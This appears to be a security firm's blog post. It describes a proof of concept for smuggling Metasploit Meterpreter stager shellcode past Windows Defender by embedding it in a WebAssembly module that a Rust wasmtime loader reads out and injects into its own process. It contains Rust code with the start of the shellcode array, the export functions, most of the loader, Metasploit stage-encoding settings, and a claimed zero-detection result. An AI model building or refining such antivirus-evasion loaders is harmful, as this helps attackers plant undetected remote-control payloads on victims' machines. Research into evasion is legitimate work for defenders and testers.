Shellcode evasion using WebAssembly and Rust

The content of this article is intended for educational and awareness purposes.

Everyone in InfoSec knows Metasploit and the importance this tool has had on many professionals and in the field itself, either be it for awareness purposes, education, CTFs or actual live penetration tests, odds are the reader has encountered and used Metasploit before.

One of the most impressive features in the Metasploit toolkit is, without a doubt, Meterpreter, its C2 agent/offensive payload. Originally written in C by Matt “Skape” Miller, it’s so much more than a simple reverse shell, Meterpreter allows the operator to do everything from local enumeration to privilege escalation with the possibility of loading additional features and modules.

However, due to its age, static codebase and widespread use (even amongst criminals), Meterpreter and most of its helper PEs are extensively profiled and easily detected by any anti-virus program out there.

Seeing as the detection rate is high, this means it’s very difficult to embed unencrypted Meterpreter shellcode for execution or even stage it for deployment. So the challenge here was to try and leverage some novel technology, preferably one statically unrecognised by anti-viruses, and use it to establish a C2 connection using Meterpreter and Metasploit without having to disable Windows Defender

The Injector

As an injector, I used a minimally modified virtuallalloc/createthread/waitforsingleobject loader developed in Rust, which can be found in the OffensiveRust repo, it’s a great read, really recommend it.

First, I generated my stager payload directly using msfvenom:


Looking good, a 510 byte size payload should be easy to embed into our injector. I’m not going to go into the specifics of how to load and run shellcode using Rust or any other programming language. Code injection is a vast topic to approach, and there are a lot of great resources online for anyone with real interest.

So now it really comes with no surprise when Windows Defender picked it up the instant the download finished in my victim test machine:


WebAssembly (Web what?)

This is where WebAssembly (Wasm) comes to aid us. Web what you ask?

Quoting Mozilla:

“WebAssembly is a type of code that can be run in modern web browsers — it is a lowlevel assembly-like language with a compact binary format that runs with near-native performance and provides languages such as C/C++, C# and Rust with a compilation target so that they can run on the web. It is also designed to run alongside JavaScript, allowing both to work together.”

Personally, the coolest aspect of WebAssembly is the fact that it’s a format meant to be executed in the browser, but it can be written in multiple backend languages and with the proper runtime, you can even embed it into other programs/servers.

To compile Rust to Wasm, we’ll need to use the wasm-bindgen crate and properly macro the functions we want to export. For this PoC, the payload was designed to contain the shellcode as data, and export 2 helper functions: one returns the size of the array, and the other will return the value of the array at a given index.

Rustuse wasm_bindgen::prelude::*;const WASM_MEMORY_BUFFER_SIZE:usize=510;static WASM_MEMORY_BUFFER:[u8; WASM_MEMORY_BUFFER_SIZE]=[0xfc,0x48,0x83,0xe4,0xf0,0xe8...

With the 2 functions:

Rust#[wasm_bindgen]pubfnget_wasm_mem_size()->usize{return WASM_MEMORY_BUFFER_SIZE;}#[wasm_bindgen]pubfnread_wasm_at_index(index:usize)->u8{let value:u8; value = WASM_MEMORY_BUFFER[index];return value;}

wasm-pack will compile everything nicely: wasm-pack –build –target bundler

(Some build targets didn’t work for me, so careful with that.)

Since the Wasm format is just binary data, despite its exotic format, embedding it directly into the loader triggered Windows Defender.

Now, the usual workflow here would be to encrypt the payload somehow, but what if we instead converted it to some other non-encrypted format to avoid increasing entropy? No not Base64, let’s aim for something native to the Wasm environment like .wat (file extension) or WebAssembly text format, which is essentially a textual representation of Wasm binaries, it’s meant to allow human readability and direct edition/writing.

Here’s an example:

WASM(module (memory (export"memory") 23) (func (export"size") (resulti32) (memory.size)) (func (export"load") (parami32) (resulti32) (i32.load8_s (local.get0)) ) (func (export"store") (parami32i32) (i32.store8 (local.get0) (local.get1)) ) (data (i32.const0x1000) "1234") )

In the previous snippet we have an array of 4 int32 values, and 3 exported functions, the size function will return the size of the array, load returns the value of the array at the given index, and store will add a given i32 value to the specified position.

A Wasm file can be converted to .wat using the wasm2wat utility.

In the meanwhile, we forgot something a few steps back, right? We can’t simply place the wasm/wat code in the loader and expect the rust runtime to take care of it, we’ll need a Wasm runtime in order to load and run the embedded code.

During my research, one of the best runtimes I encountered was wasmtime, it supported Rust, was well documented and was relatively simple to use. With all the pieces together, this is how my WebAssembly loader/stager was looking:

Rustuse std::error::Error;use std::vec;use wasmtime::*;[...]use std::ptr;use winapi::um::processthreadsapi;use winapi::um::winbase;use winapi::um::synchapi::WaitForSingleObject;typeDWORD=u32;fnmain()->Result<(),Box<dynError>>{let engine =Engine::default();let FUNCTION_WASM:&str=r#"(module (type (;0;) (func (param i32 i32))) (type (;1;) (func (param i32 i32) (result i32))) (type (;2;) (func (param i32) (result i32))) [...]"#;let module =Module::new(&engine, FUNCTION_WASM)?;letmut store =Store::new(&engine,());let instance =Instance::new(&mut store,&module,&[])?;let answer = instance.get_func(&mut store,"read_wasm_at_index").expect("`read_wasm_at_index` was not an exported function");let answer = answer.typed::<u32,u32>(&store)?;let mem_size = instance.get_func(&mut store,"get_wasm_mem_size").expect("couldn't get mem size");let mem_size = mem_size.typed::<(),u32>(&store)?;let buff_size = store,())?;letmut shellcode_buffer:Vec::<u8>=vec![0x00; buff_size asusize]; //and now copy the shellcode to the new buffer and inject it into the current process

Time to Build

Building the injector with cargo build –target x86_64-pc-windows-gnu –release will result in a functional but huge .exe file, the smallest I managed to get it to compile was 4.3Mb with some optimisation flags. (Bear in mind that this is just a PoC, with further effort, I believe it’s possible to further reduce the binary size)

On Metasploit’s side, we just needed to encode the second-stage payload to prevent Windows Defender from picking up on Meterpreter:

 set EnableStageEncoding true in exploitmultihandler .

Play the drums

Now, with everything set up, I just had to test the loader and see if it was possible to establish and maintain a session. Download was smooth, with no virus detection, as well as execution:


From the Metasploit command line we can observe the encoded 2nd stage being delivered and the final session being established.


Some minimal enumeration shows us the session is active and functional.


Doing a detection test in jotti results in 0/14 detection rate, pretty good.


Thanks for reading this far, hope it was worth it. In the end this is just a PoC for an alternative method of evading static AV detection. As for now, I won’t share the source code because we all know how Virustotal and Microsoft detection services work.


Últimos artigos


Threat Landscape Report – 2º semestre de 2023


Get the Be Cyber Smart Kit